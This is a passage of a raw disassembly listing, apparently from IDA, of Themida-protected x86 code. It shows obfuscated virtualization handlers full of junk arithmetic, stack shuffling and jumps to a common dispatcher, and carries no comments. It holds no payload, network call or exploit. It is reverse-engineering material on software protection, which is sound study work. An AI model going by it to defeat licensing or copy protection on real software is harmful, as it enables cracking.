mov edi, 7E71745Ch
sub edi, 5CB342F4h
jmp loc_56E406
; ---------------------------------------------------------------------------
loc_568953: ; CODE XREF: sub_562ABA+D070j
xor ebx, [esp+0]
mov esp, [esp+0]
jmp loc_56BCE2
; ---------------------------------------------------------------------------
loc_56895E: ; CODE XREF: sub_56019B+3Aj
add esp, 4
jmp loc_56C423
; ---------------------------------------------------------------------------
loc_568969: ; CODE XREF: sub_562ABA+F97Aj
add al, ch
mov ecx, [esp+0Ah+var_C+2]
push ebp
push esp
pop ebp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp+0]
pop esp
xor bl, al
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_568991: ; CODE XREF: sub_562ABA+D44Cj
add edx, ebx
sub edx, 5EE13E74h
push ecx
jmp loc_56C269
; ---------------------------------------------------------------------------
loc_56899F: ; CODE XREF: sub_562ABA+C217j
push ebx
sub esp, 4
jmp loc_56B7C4
; ---------------------------------------------------------------------------
loc_5689AB: ; CODE XREF: sub_562ABA+5DD5j
or eax, 2CDD7333h
xor eax, 24801703h
jmp loc_56F3AC
; ---------------------------------------------------------------------------
loc_5689BA: ; CODE XREF: sub_562ABA+155Aj
pop edx
sub esi, 70B559D9h
add ebp, esi
push dword ptr [esp+0]
pop esi
add esp, 4
push eax
jmp loc_56233B
; ---------------------------------------------------------------------------
loc_5689D0: ; CODE XREF: sub_562ABA+FA1Ej
push edx
push edi
mov edi, 6D705FCEh
jmp loc_56490F
; ---------------------------------------------------------------------------
loc_5689DC: ; CODE XREF: sub_562ABA+8227j
and esi, offset byte_4A45B7
add esi, 0D522ADFh
push ebx
mov ebx, esi
mov edx, ebx
jmp loc_570ADA
; ---------------------------------------------------------------------------
loc_5689F2: ; CODE XREF: sub_562ABA-4C1j
add edi, 2CEC111Bh
push ebx
mov ebx, 223D637Eh
add ebx, 5CBD01B0h
sub edi, ebx
pop ebx
jmp loc_5623ED
; ---------------------------------------------------------------------------
loc_568A0C: ; CODE XREF: sub_562ABA+DE26j
mov edx, 33F82B31h
shl edx, 7
jmp loc_564585
; ---------------------------------------------------------------------------
loc_568A19: ; CODE XREF: sub_562ABA+D291j
add ebx, 1
add ebx, 73B671ECh
or esi, ebx
pop ebx
push edi
mov edi, 44BF709Bh
add esi, edi
pop edi
xor eax, esi
push [esp+1Ah+var_1A]
jmp loc_56E119
; ---------------------------------------------------------------------------
loc_568A3B: ; CODE XREF: sub_562ABA+566Cj
push 1691h
mov [esp+22h+var_22], edx
mov dl, 0BDh
push ebx
push edx
mov dl, 97h
mov bl, 0EDh
sub bl, 31h
sub bl, dl
add bl, 31h
pop edx
add bl, 0FFh
not bl
push edx
mov dh, 0F4h
jmp loc_568475
; ---------------------------------------------------------------------------
loc_568A61: ; CODE XREF: sub_562ABA+5720j
pop eax
sub ecx, 2070108Fh
and eax, ecx
push [esp+16h+var_16]
push [esp+1Ah+var_1A]
push [esp+1Eh+var_1E]
pop ecx
add esp, 4
add esp, 4
sub esp, 4
mov [esp+1Ah+var_1A], edi
sub esp, 4
mov [esp+1Eh+var_1E], esp
add [esp+1Eh+var_1E], 4
jmp loc_562371
; ---------------------------------------------------------------------------
loc_568A95: ; CODE XREF: sub_55FCA5+4C3j
push esi
push edx
mov edx, 0FFF29AD6h
mov esi, edx
mov edx, [esp+26h+var_28+2]
add esp, 4
mov ebx, esi
pop esi
add eax, ebx
jmp loc_5602FA
; ---------------------------------------------------------------------------
loc_568AAE: ; CODE XREF: sub_562ABA+E18Dj
pop esi
sub ebx, eax
mov eax, [esp+1Ah+var_1A]
add esp, 4
pop dword ptr [eax]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_568AC1: ; CODE XREF: sub_562ABA+A918j
add ebx, 4
add ebx, 4
xchg ebx, [esp+12h+var_12]
mov esp, [esp+12h+var_12]
loc_568AD0: ; CODE XREF: sub_562ABA+EE39j
push 7435h
mov [esp+16h+var_16], ecx
push ebx
add [esp+1Ah+var_1A], 57BF6CA7h
mov ecx, [esp+1Ah+var_1A]
add esp, 4
sub ecx, 57BF6CA7h
push ecx
pop eax
push [esp+16h+var_16]
pop ecx
push ebx
mov ebx, esp
jmp loc_57287F
; ---------------------------------------------------------------------------
push [esp+1Ah+var_1A]
jmp loc_56C316
; ---------------------------------------------------------------------------
loc_568B02: ; CODE XREF: sub_562ABA+7C88j
shl edx, 6
jmp loc_570232
; ---------------------------------------------------------------------------
loc_568B0A: ; CODE XREF: sub_562ABA+1441j
and eax, ecx
push [esp+2+var_4+2]
jmp loc_5726BC
; ---------------------------------------------------------------------------
loc_568B14: ; CODE XREF: sub_562ABA+806Fj
pop edi
pop [esp+2+var_4+2]
pop esp
jmp loc_56A708
; ---------------------------------------------------------------------------
loc_568B1E: ; CODE XREF: sub_562ABA+752Bj
push 46D0h
jmp loc_5723D0
; ---------------------------------------------------------------------------
loc_568B28: ; CODE XREF: sub_562ABA+99Ej
mov ebx, 7C2D61F3h
push edx
mov edx, 37BB1899h
xor ebx, edx
pop edx
not ebx
and ebx, 71F64CDCh
jmp loc_5667F0
; ---------------------------------------------------------------------------
loc_568B43: ; CODE XREF: sub_562ABA-36D2j
sub cl, 47h
add cl, ah
add cl, 47h
pop eax
push ecx
add byte ptr [esp+1Eh+var_1E], 0FFh
mov ecx, [esp+1Eh+var_1E]
jmp loc_569AF7
; ---------------------------------------------------------------------------
loc_568B59: ; CODE XREF: sub_562ABA+EC02j
neg ebp
and ebp, 7CEF7079h
dec ebp
add ebp, 3FCB327Ch
sub edx, ebp
pop ebp
pop esi
push eax
push ecx
mov ecx, 1DAD2E9Fh
push esi
mov esi, 7B2F4990h
sub ecx, esi
pop esi
dec ecx
xor ecx, 3776180Fh
or ecx, 1EBB5A5Bh
not ecx
xor ecx, 604400A0h
jmp loc_56DF5B
; ---------------------------------------------------------------------------
loc_568B96: ; CODE XREF: sub_562ABA+537Aj
push [esp+3Ah+var_3A]
pop ecx
jmp loc_561EB3
; ---------------------------------------------------------------------------
loc_568B9F: ; CODE XREF: sub_562ABA+DB88j
mov edx, 4
sub edi, 27134106h
add edi, edx
jmp loc_56D369
; ---------------------------------------------------------------------------
loc_568BB1: ; CODE XREF: sub_562ABA+ADADj
push esi
mov esi, 188754A2h
sub esi, 29491859h
or esi, 5E1A71B8h
shr esi, 4
neg esi
xor esi, 0E177C988h
xor ecx, esi
jmp loc_566FF5
; ---------------------------------------------------------------------------
loc_568BD5: ; CODE XREF: sub_562ABA+7BC5j
add [esp+3Eh+var_3E], 4
pop esi
add esi, 4
push 69CFh
mov [esp+3Eh+var_3E], eax
jmp loc_565DAA
; ---------------------------------------------------------------------------
loc_568BED: ; CODE XREF: sub_562ABA+C04Bj
xor edx, edi
or edx, 1EEA0E1Eh
sub edx, 1
push ebx
mov ebx, 0D28CC11Fh
sub edx, ebx
pop ebx
sub edi, 220458B5h
sub edi, edx
jmp loc_567E10
; ---------------------------------------------------------------------------
loc_568C0E: ; CODE XREF: sub_562ABA+11D1j
not eax
add eax, 2F837A17h
neg eax
shr eax, 6
xor eax, 49526DEFh
jmp loc_56D5E1
; ---------------------------------------------------------------------------
loc_568C24: ; DATA XREF: Themida_:0055DDE0o
push dword ptr [edi+38h]
push [esp+3Eh+var_3E]
pop ecx
sub esp, 4
jmp loc_566B60
; ---------------------------------------------------------------------------
loc_568C33: ; CODE XREF: sub_562ABA-34D6j
inc edi
and edi, 4551AA8h
not edi
jmp loc_56EA27
; ---------------------------------------------------------------------------
loc_568C41: ; CODE XREF: sub_562ABA+A58Ej
add [esp-18h+arg_18], esi
pop esi
jmp loc_571338
; ---------------------------------------------------------------------------
loc_568C4B: ; CODE XREF: sub_562ABA-9B5j
shr edx, 1
jmp loc_560E87
; ---------------------------------------------------------------------------
loc_568C52: ; CODE XREF: sub_562ABA-943j
sub esp, 4
jmp loc_56D722
; ---------------------------------------------------------------------------
loc_568C5A: ; CODE XREF: sub_562ABA-4564j
add esp, 4
push eax
jmp loc_560EE5
; ---------------------------------------------------------------------------
loc_568C66: ; CODE XREF: sub_562ABA+9EEBj
add edx, 210F225h
xor edx, 59322161h
push ebp
mov ebp, 1
add edx, ebp
pop ebp
add edx, 0F5A548Ch
push esi
mov esi, 598F5B35h
jmp loc_562DF9
; ---------------------------------------------------------------------------
loc_568C8C: ; CODE XREF: sub_562ABA+484Ej
push [esp+4Eh+var_4E]
push [esp+52h+var_52]
jmp loc_5674BF
; ---------------------------------------------------------------------------
loc_568C97: ; CODE XREF: sub_562ABA-1B53j
add edi, esi
jmp loc_5654D6
; ---------------------------------------------------------------------------
loc_568C9E: ; CODE XREF: sub_562ABA+A27j
sub esp, 4
jmp loc_55F740
; ---------------------------------------------------------------------------
loc_568CA9: ; CODE XREF: sub_562ABA+AC50j
inc ah
jmp loc_569EF5
; ---------------------------------------------------------------------------
loc_568CB0: ; CODE XREF: sub_562ABA+4FB1j
add edx, ebx
jmp loc_566CCD
; ---------------------------------------------------------------------------
loc_568CB7: ; CODE XREF: sub_562ABA+C8C4j
push eax
mov eax, 5FD17EFEh
add ebx, eax
pop eax
push [esp+12h+var_12]
push [esp+16h+var_16]
pop eax
sub esp, 4
mov [esp+1Ah+var_1A], edi
mov edi, esp
add edi, 4
jmp loc_55FBD5
; ---------------------------------------------------------------------------
loc_568CDD: ; CODE XREF: sub_562ABA+4594j
add eax, ebx
pop ebx
xchg eax, [esp+22h+var_22]
jmp loc_56B5B0
; ---------------------------------------------------------------------------
loc_568CE8: ; CODE XREF: sub_562ABA-3E4Aj
pop edx
xor cl, bh
pop ebx
jmp loc_571E67
; ---------------------------------------------------------------------------
loc_568CF1: ; CODE XREF: sub_562ABA+5BD9j
pop edx
sub edx, 134D1164h
sub edx, 6D054E8h
sub edx, 35AB5489h
add edx, ebx
add edx, 35AB5489h
add edx, 6D054E8h
push edi
mov edi, 134D1164h
add edx, edi
pop edi
mov ebx, [esp+34h+var_36+2]
jmp loc_5634EC
; ---------------------------------------------------------------------------
loc_568D23: ; CODE XREF: sub_562ABA+1519j
push [esp+12h+var_12]
pop ebp
add esp, 4
jmp loc_56EFB0
; ---------------------------------------------------------------------------
loc_568D2F: ; CODE XREF: sub_562ABA+83A5j
add dword ptr [esp+0], 4
pop dword ptr [esp+0]
add [esp+0Ah+var_C+2], 4
jmp loc_5726EB
; ---------------------------------------------------------------------------
loc_568D42: ; CODE XREF: sub_562ABA+DF3Bj
add ebx, edi
push edi
mov edi, 5FED07E8h
jmp loc_55EED8
; ---------------------------------------------------------------------------
loc_568D4F: ; CODE XREF: sub_562ABA+71CBj
mov edx, 4FF878B7h
sub esi, edx
pop edx
pop ebx
jmp loc_56B670
; ---------------------------------------------------------------------------
loc_568D5D: ; CODE XREF: sub_562ABA+FE1Bj
add eax, 4
push 54B0h
mov [esp+0Ah+var_C+2], ecx
jmp loc_5635B7
; ---------------------------------------------------------------------------
loc_568D6F: ; CODE XREF: sub_562ABA+8234j
push ebx
sub esp, 4
mov [esp+12h+var_12], esi
push 79E83B10h
jmp loc_572BBA
; ---------------------------------------------------------------------------
loc_568D83: ; CODE XREF: sub_562ABA+AC80j
mov ecx, [esp+16h+var_16]
push 199Bh
mov [esp+1Ah+var_1A], edi
jmp loc_56C03C
; ---------------------------------------------------------------------------
loc_568D93: ; CODE XREF: sub_55FCA5+13Bj
shl cl, 6
xor cl, 4Bh
and cl, 30h
push edx
mov dh, 0D8h
jmp loc_55EC6E
; ---------------------------------------------------------------------------
loc_568DA4: ; CODE XREF: sub_562ABA+ED93j
pop ebp
add ebp, eax
mov eax, [esp+1Ah+var_1A]
add esp, 4
add ebp, 4
xchg ebp, [esp+16h+var_16]
pop esp
sub esp, 4
mov [esp+16h+var_16], ecx
push 5A4Ah
mov [esp+1Ah+var_1A], esi
mov esi, edi
push 5692h
mov [esp+1Eh+var_1E], esi
pop ecx
mov esi, [esp+1Ah+var_1A]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+1Eh+var_1E]
pop esp
jmp loc_56F741
; ---------------------------------------------------------------------------
loc_568DE8: ; CODE XREF: sub_562ABA+D030j
sub [esp+1Ah+var_1A], 8B09B4h
jmp loc_56CD30
; ---------------------------------------------------------------------------
loc_568DF4: ; CODE XREF: sub_562ABA+2D0Cj
mov [esp+56h+var_56], ecx
push [esp+56h+var_52]
jmp loc_56EC6D
; ---------------------------------------------------------------------------
loc_568E00: ; CODE XREF: sub_562ABA+D1A0j
push edx
mov edx, 1302ADCh
jmp loc_56B017
; ---------------------------------------------------------------------------
loc_568E0B: ; CODE XREF: sub_562ABA-202Dj
pop [esp+16h+var_16]
pop esp
xor edx, [esp+0]
jmp loc_572BC1
; ---------------------------------------------------------------------------
loc_568E17: ; CODE XREF: sub_562ABA-420j
pop edi
push 6A1h
mov [esp-0Eh+arg_8+2], edx
sub esp, 4
mov [esp-0Ah+arg_4+2], eax
push edx
jmp loc_56C8FF
; ---------------------------------------------------------------------------
loc_568E2F: ; CODE XREF: sub_562ABA+FB5Dj
sub edx, esi
pop esi
mov ecx, [esp-0Ah+arg_4+2]
jmp loc_56F535
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-0Ah+arg_4+2]
push eax
jmp loc_5628DE
; ---------------------------------------------------------------------------
loc_568E44: ; CODE XREF: sub_562ABA+A5CFj
push 2855h
mov [esp+0], eax
mov eax, 6C583CB9h
jmp loc_55EC15
; ---------------------------------------------------------------------------
loc_568E56: ; CODE XREF: sub_562ABA+100E9j
add esp, 4
sub esp, 4
mov [esp+0], ebx
jmp loc_56D4D6
; ---------------------------------------------------------------------------
loc_568E67: ; CODE XREF: sub_562ABA+AE96j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_568E6C: ; CODE XREF: sub_562ABA+D250j
mov edx, 64EB317Bh
sub ebx, edx
pop edx
jmp loc_56256E
; ---------------------------------------------------------------------------
loc_568E79: ; CODE XREF: sub_562ABA+817Bj
add esi, 7E75B052h
mov ecx, esi
pop esi
jmp loc_571BB2
; ---------------------------------------------------------------------------
loc_568E87: ; CODE XREF: sub_562ABA-28C3j
add eax, 30FF7E8Fh
push 5CA9h
mov [esp+2+var_4+2], ebp
push 77ED21E7h
pop ebp
push ebp
neg [esp+6+var_8+2]
jmp loc_55EDCD
; ---------------------------------------------------------------------------
loc_568EA3: ; CODE XREF: sub_562ABA-336Fj
push 4EC8436Ah
pop eax
xor eax, 3B5207DAh
mov esi, eax
jmp loc_56992F
; ---------------------------------------------------------------------------
loc_568EB5: ; CODE XREF: sub_562ABA+B730j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_568EBA: ; CODE XREF: sub_562ABA+E93Dj
pop esp
jmp loc_56D0E3
; ---------------------------------------------------------------------------
loc_568EC0: ; CODE XREF: sub_562ABA-229Ej
push ebx
push 474Dh
jmp loc_56A275
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp+3Ch+var_3E+2], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_568EDB: ; CODE XREF: sub_562ABA+5C8Fj
sub edi, 50DA6511h
add edi, 335E5BD8h
add edi, 79225280h
pop ebp
push 42F6h
jmp loc_56580E
; ---------------------------------------------------------------------------
loc_568EF8: ; CODE XREF: sub_562ABA+B7B7j
push esp
jmp loc_56B0F0
; ---------------------------------------------------------------------------
loc_568EFE: ; CODE XREF: sub_562ABA+D89Dj
pop edi
sub edx, 4
xchg edx, [esp+32h+var_32]
jmp loc_566260
; ---------------------------------------------------------------------------
loc_568F0A: ; CODE XREF: sub_562ABA+4525j
sub esp, 2
mov word ptr [esp+26h+var_28+2], bx
mov bl, 98h
xor dl, bl
jmp loc_570DA0
; ---------------------------------------------------------------------------
loc_568F1A: ; CODE XREF: sub_562ABA+B602j
pop edx
pop eax
add esi, 4
push esi
push [esp+22h+var_1E]
pop esi
pop [esp+22h+var_22]
pop esp
sub esp, 4
mov [esp+1Eh+var_1E], edx
mov edx, esp
push edi
jmp loc_56D912
; ---------------------------------------------------------------------------
loc_568F3A: ; CODE XREF: sub_562ABA-2586j
xchg edx, esi
add esi, 0FFFFFFFFh
add esi, 0DC9B8238h
or eax, esi
pop esi
jmp loc_56C88B
; ---------------------------------------------------------------------------
loc_568F4D: ; CODE XREF: sub_562ABA+18ACj
add esi, 4C187802h
jmp loc_56FBA9
; ---------------------------------------------------------------------------
loc_568F58: ; CODE XREF: sub_562ABA+10024j
push ebx
mov ebx, 26F87AF3h
mov ebp, 63535480h
xor ebp, ebx
pop ebx
xor ebp, 74731012h
not ebp
jmp loc_566411
; ---------------------------------------------------------------------------
loc_568F73: ; CODE XREF: sub_562ABA+852Bj
xchg eax, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
jmp loc_5683C9
; ---------------------------------------------------------------------------
loc_568F7E: ; CODE XREF: sub_562ABA+171j
push ebx
push edx
mov edx, 25665208h
dec edx
inc edx
neg edx
shr edx, 5
not edx
add edx, 1BB01761h
mov ebx, edx
pop edx
or eax, ebx
mov ebx, [esp+2+var_4+2]
push edx
mov edx, esp
jmp loc_567865
; ---------------------------------------------------------------------------
loc_568FA4: ; CODE XREF: sub_562ABA+8AAFj
mov [esp+6+var_8+2], ecx
push [esp+6+var_4+2]
push [esp+0Ah+var_C+2]
pop ecx
push edi
mov edi, esp
add edi, 4
jmp loc_56932C
; ---------------------------------------------------------------------------
loc_568FBD: ; CODE XREF: sub_562ABA+B248j
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ecx
jmp loc_56B9DB
; ---------------------------------------------------------------------------
loc_568FCF: ; CODE XREF: sub_562ABA+DD8Ej
pop esi
pop [esp+0Ah+var_C+2]
jmp loc_56B661
; ---------------------------------------------------------------------------
loc_568FD8: ; CODE XREF: sub_562ABA-1A87j
or esi, 6A3F3BFFh
jmp loc_56A54E
; ---------------------------------------------------------------------------
loc_568FE3: ; CODE XREF: sub_562ABA+B313j
sub esp, 4
mov [esp+1Ah+var_1A], esi
push ebx
mov ebx, 4
mov esi, ebx
pop ebx
push edx
mov edx, 4D5B100Ch
shl edx, 3
jmp loc_56F421
; ---------------------------------------------------------------------------
loc_569000: ; CODE XREF: sub_562ABA-1C90j
push ax
mov al, 0Dh
add ch, al
jmp loc_561C27
; ---------------------------------------------------------------------------
loc_56900B: ; CODE XREF: sub_562ABA+E17Fj
push eax
mov eax, ebp
mov edi, eax
pop eax
jmp loc_5714DE
; ---------------------------------------------------------------------------
loc_569016: ; CODE XREF: sub_562ABA-159Aj
or edx, 7BEB05C9h
xchg esi, edx
jmp loc_569259
; ---------------------------------------------------------------------------
loc_569023: ; CODE XREF: sub_562ABA+35B2j
not ebx
jmp loc_562557
; ---------------------------------------------------------------------------
loc_56902A: ; CODE XREF: sub_562ABA+BEC3j
add ebx, 1D8D336Fh
or ebx, 5AAB0681h
or ebx, 8774FD3h
xor ebx, 788D2413h
xor ebx, 6BAA45D6h
or ebp, ebx
pop ebx
and ebp, 29286214h
dec ebp
sub ebp, 2828620Fh
add eax, ebp
pop ebp
xor eax, [esp+2+var_4+2]
xor [esp+2+var_4+2], eax
xor eax, [esp+2+var_4+2]
pop esp
add ch, 28h
xor al, ch
push dword ptr [esp+0]
jmp loc_571941
; ---------------------------------------------------------------------------
loc_569072: ; CODE XREF: sub_562ABA+138Fj
xor ecx, 0C1E7797h
push esi
mov esi, 733D78CAh
xor esi, 7F69A3F9h
add ecx, esi
pop esi
add ebx, ecx
pop ecx
add ebx, ebp
sub ebx, 98E4298h
pop ebp
xchg ebx, [esp+1Eh+var_1E]
pop esp
push 2545h
mov [esp+1Eh+var_1E], ebp
jmp loc_572797
; ---------------------------------------------------------------------------
push 20E0h
mov [esp+22h+var_22], esi
push edx
push 79DE3A58h
push [esp+2Ah+var_2C+2]
push dword ptr [esp]
pop edx
push 59B2h
mov [esp+32h+var_32], eax
mov eax, esp
push ebx
mov ebx, 303204C8h
or ebx, 56582F83h
or ebx, 7E72543Fh
jmp loc_55F71C
; ---------------------------------------------------------------------------
loc_5690DA: ; CODE XREF: sub_562ABA+77B6j
mov esp, [esp+36h+var_36]
pop ecx
sub esp, 4
mov [esp+36h+var_36], edx
mov edx, 614E37CBh
sub ecx, edx
pop edx
push ebx
mov ebx, esp
push 32BDh
mov [esp+3Ah+var_3A], ebp
mov ebp, 4
add ebx, 7E5418A3h
add ebx, 28D408B0h
sub ebx, 36460FA7h
add ebx, ebp
add ebx, 36460FA7h
jmp loc_5665E5
; ---------------------------------------------------------------------------
loc_56911B: ; CODE XREF: sub_562ABA+983Ej
mov [esp+3Ah+var_3A], ecx
jmp loc_562172
; ---------------------------------------------------------------------------
loc_569123: ; CODE XREF: sub_562ABA+DC3Bj
add esp, 4
jmp loc_5616A8
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+36h+var_36]
jmp loc_562E99
; ---------------------------------------------------------------------------
loc_569137: ; CODE XREF: sub_562ABA+E5FBj
push ecx
mov ch, al
jmp loc_572626
; ---------------------------------------------------------------------------
loc_56913F: ; CODE XREF: sub_562ABA+AC33j
sub eax, 3C5C5B79h
add eax, 312A50AAh
sub esi, eax
pop eax
dec esi
add esi, 50043984h
sub ecx, 618D4212h
add ecx, esi
add ecx, 618D4212h
pop esi
add ecx, 4
xor ecx, [esp+32h+var_32]
xor [esp+32h+var_32], ecx
xor ecx, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
jmp loc_56619D
; ---------------------------------------------------------------------------
loc_569179: ; CODE XREF: sub_55FCA5-14F1j
xor edi, 95A8CA8Bh
sub ebx, 2F2D3BCFh
add ebx, edi
add ebx, 2F2D3BCFh
mov edi, [esp+32h+var_32]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+36h+var_36]
pop esp
add edx, 432118B3h
add edx, ebx
sub edx, 432118B3h
mov ebx, [esp+32h+var_32]
add esp, 4
jmp loc_55FB80
; ---------------------------------------------------------------------------
loc_5691B9: ; CODE XREF: sub_562ABA+C728j
add esi, edx
add esi, 7A0F2456h
mov edx, [esp+0]
push ecx
push esp
pop ecx
add ecx, 4
push 191h
mov [esp+36h+var_36], eax
mov eax, 4
sub ecx, 70E7102Eh
jmp loc_56843A
; ---------------------------------------------------------------------------
loc_5691E5: ; CODE XREF: sub_562ABA+EFD5j
add esp, 2
neg ch
inc ch
add ch, 75h
push bx
jmp loc_56D2D6
; ---------------------------------------------------------------------------
loc_5691F6: ; CODE XREF: sub_562ABA+AC63j
sub esp, 4
mov [esp+38h+var_3A+2], edx
push 59937DBFh
push [esp+3Ch+var_3E+2]
pop edx
jmp loc_56D7E7
; ---------------------------------------------------------------------------
loc_56920D: ; CODE XREF: sub_562ABA+9106j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+3Ch+var_3E+2]
jmp loc_5625FE
; ---------------------------------------------------------------------------
loc_569220: ; CODE XREF: sub_55F27A+30BCj
mov dl, 7Dh
push 5732h
jmp loc_563EB7
; ---------------------------------------------------------------------------
loc_56922C: ; CODE XREF: sub_562ABA+FD3Cj
mov [esp+40h+var_42+2], ecx
mov ecx, 7E255399h
xor ecx, 7D161B18h
and eax, ecx
jmp loc_5652A5
; ---------------------------------------------------------------------------
loc_569241: ; CODE XREF: sub_562ABA-7A8j
xchg esi, [esp+46h+var_46]
jmp loc_56D3A1
; ---------------------------------------------------------------------------
loc_569249: ; CODE XREF: sub_562ABA-1Cj
mov esi, ebx
jmp loc_565D17
; ---------------------------------------------------------------------------
loc_569250: ; CODE XREF: sub_562ABA+7EBEj
push [esp+26h+var_22]
jmp loc_56667C
; ---------------------------------------------------------------------------
loc_569259: ; CODE XREF: sub_562ABA+6564j
dec esi
xchg esi, edx
add edx, 0CF58999Dh
push 2ACDh
mov [esp-6+arg_0+2], edx
xor [esp-6+arg_0+2], 24E71788h
jmp loc_566053
; ---------------------------------------------------------------------------
loc_569276: ; CODE XREF: sub_562ABA+CB82j
mov [esp-6+arg_0+2], ecx
push 18B7h
push esp
pop [esp+2+var_4+2]
jmp loc_55FD7A
; ---------------------------------------------------------------------------
loc_569287: ; CODE XREF: sub_562ABA+B914j
shl edx, 4
add edx, 1C96CE9Fh
add esi, edx
push dword ptr [esp+0]
pop edx
add esp, 4
jmp loc_567363
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc byte ptr [esp-8+arg_4], al
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5692AD: ; CODE XREF: sub_55F332+29j
push ebp
jmp loc_56EDB3
; ---------------------------------------------------------------------------
loc_5692B3: ; CODE XREF: sub_562ABA+278Cj
mov ebp, [esp+3Ah+var_3A]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+3Eh+var_3E]
jmp loc_566868
; ---------------------------------------------------------------------------
loc_5692CD: ; CODE XREF: sub_562ABA-24AEj
xchg eax, ecx
jmp loc_570112
; ---------------------------------------------------------------------------
loc_5692D3: ; CODE XREF: sub_562ABA+D51Cj
push edi
jmp loc_56E0D5
; ---------------------------------------------------------------------------
loc_5692D9: ; CODE XREF: sub_562ABA+B868j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+26h+var_28+2]
pop esp
mov [esp+22h+var_22], esi
jmp loc_563D66
; ---------------------------------------------------------------------------
loc_5692F3: ; CODE XREF: sub_55FCA5+2E4j
mov esp, [esp+22h+var_22]
and eax, ecx
mov ecx, [esp+22h+var_22]
add esp, 4
jmp loc_570718
; ---------------------------------------------------------------------------
loc_569306: ; CODE XREF: sub_562ABA+7E32j
pop edx
jmp loc_5664D2
; ---------------------------------------------------------------------------
loc_56930C: ; CODE XREF: sub_562ABA+97E8j
push esp
push [esp+1Eh+var_1E]
pop eax
push 209Ah
mov [esp+22h+var_22], ebp
mov ebp, esp
add ebp, 4
jmp loc_562C71
; ---------------------------------------------------------------------------
loc_569326: ; CODE XREF: sub_562ABA+315Dj
push ecx
jmp loc_560505
; ---------------------------------------------------------------------------
loc_56932C: ; CODE XREF: sub_562ABA+64FEj
add edi, 4
xchg edi, [esp+0]
pop esp
pop [esp+0Ah+var_C+2]
mov esp, [esp+6+var_8+2]
mov ax, word ptr [esp+6+var_8+2]
push 765Ah
mov [esp+0Ah+var_C+2], esi
push ecx
mov ecx, esp
add ecx, 4
jmp loc_56A3F8
; ---------------------------------------------------------------------------
loc_569353: ; CODE XREF: sub_562ABA+6DCAj
shl bl, 6
add bl, 62h
mov dl, bl
pop ebx
shr dl, 6
push ecx
jmp loc_560539
; ---------------------------------------------------------------------------
loc_569365: ; CODE XREF: sub_562ABA-381j
add esi, 4
jmp loc_5667C5
; ---------------------------------------------------------------------------
loc_569370: ; CODE XREF: sub_562ABA+EB37j
pop ebp
neg eax
shl eax, 4
shr eax, 1
jmp loc_565418
; ---------------------------------------------------------------------------
loc_56937D: ; CODE XREF: sub_562ABA+406Aj
shr esi, 2
add esi, 43BA008Ah
sub esi, 406D43Eh
mov eax, esi
mov esi, [esp+14h+var_16+2]
add esp, 4
shl eax, 3
jmp loc_56420A
; ---------------------------------------------------------------------------
loc_56939C: ; CODE XREF: sub_562ABA+248Cj
pop [esp-8+arg_4]
jmp loc_568594
; ---------------------------------------------------------------------------
loc_5693A4: ; CODE XREF: sub_562ABA+C386j
add esp, 4
push ebp
mov ebp, 37E36E27h
jmp loc_5713FC
; ---------------------------------------------------------------------------
loc_5693B2: ; CODE XREF: sub_562ABA+EA75j
sub [esp-0Ch+arg_8], esi
pop esi
push eax
mov eax, 6D930471h
neg eax
xor eax, 66780BCFh
jmp loc_560036
; ---------------------------------------------------------------------------
loc_5693C8: ; CODE XREF: sub_562ABA+AB53j
add ebp, 390E2D85h
mov edi, ebp
jmp loc_56242A
; ---------------------------------------------------------------------------
loc_5693D5: ; CODE XREF: sub_562ABA+37E3j
xor [esp-14h+arg_10], ebx
xor ebx, [esp-14h+arg_10]
jmp loc_561DB1
; ---------------------------------------------------------------------------
loc_5693E0: ; CODE XREF: sub_562ABA+B144j
mov esp, [esp-14h+arg_10]
jmp loc_56F4FB
; ---------------------------------------------------------------------------
loc_5693E8: ; CODE XREF: sub_562ABA+F080j
pop ebp
push 30Ah
mov [esp-14h+arg_10], ebx
mov ebx, 6511A51h
dec ebx
push eax
jmp loc_56FAEF
; ---------------------------------------------------------------------------
loc_5693FD: ; CODE XREF: sub_562ABA+FA62j
add esp, 4
xor ax, si
mov si, word ptr [esp-14h+arg_10]
push edx
mov edx, esp
add edx, 4
add edx, 2
xor edx, [esp-10h+arg_C]
xor [esp-10h+arg_C], edx
jmp loc_56BCC3
; ---------------------------------------------------------------------------
loc_569421: ; CODE XREF: sub_562ABA+5873j
mov edx, 2F686D5Ch
or edx, 5CB5589Dh
sub edx, 2D570DA1h
sub ecx, edx
pop edx
jmp loc_560CF2
; ---------------------------------------------------------------------------
loc_56943A: ; CODE XREF: sub_562ABA+75F7j
mov [esp+6+var_8+2], eax
pop dword ptr [edi+40h]
push [esp+2+var_4+2]
push [esp+6+var_8+2]
jmp loc_5697BD
; ---------------------------------------------------------------------------
loc_56944B: ; CODE XREF: sub_562ABA+AD90j
mov eax, esp
jmp loc_55F423
; ---------------------------------------------------------------------------
loc_569452: ; CODE XREF: Themida_:0055F821j
push 6C79h
mov [esp+0], edx
push esp
mov edx, [esp+12h+var_12]
push edx
push esp
pop edx
add edx, 4
jmp loc_55F76C
; ---------------------------------------------------------------------------
loc_56946C: ; CODE XREF: sub_562ABA+AAF4j
push ebp
mov ebp, 49111DDDh
add esi, ebp
pop ebp
and ebp, esi
jmp loc_570119
; ---------------------------------------------------------------------------
loc_56947C: ; CODE XREF: sub_562ABA+E879j
pop ecx
